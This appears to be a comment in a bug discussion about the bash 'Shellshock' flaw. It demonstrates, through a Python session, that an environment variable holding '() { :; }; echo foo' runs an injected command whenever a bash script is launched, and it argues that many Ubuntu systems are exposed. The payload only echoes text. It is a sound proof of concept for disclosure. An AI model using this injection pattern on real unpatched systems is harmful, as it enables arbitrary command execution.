There are unfortunately lots of bad scripts in the world that start with:
#!/bin/bash
So for example, with a foo.sh script of:
#!/bin/bash
echo "loser!"
Then for example:
vagrant@ubuntu-14:~/bin$ X='() { :; }; echo foo' python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("./foo.sh")
foo
loser!
0
>>> import subprocess
>>> subprocess.Popen("./foo.sh")
<subprocess.Popen object at 0x7f04a115f350>
>>> foo
loser!
It should be noted that if the shebang is #!/bin/sh this doesn't work when sh == dash, but given that this wiki page exists on ubuntu:
https://wiki.ubuntu.com/DashAsBinSh
That recommends changing broken scripts to #!/bin/bash or changing to sh == bash as solutions. I would guess that there are going to be plenty of easily vulnerable debian/ubuntu systems.
More importantly though, it literally does not matter if this bug is "directly privilege escalating" or "1 step removed privilege escalating", the are fundamentally the same thing. It doesn't matter in any case where a script is executed with bash instead of dash.
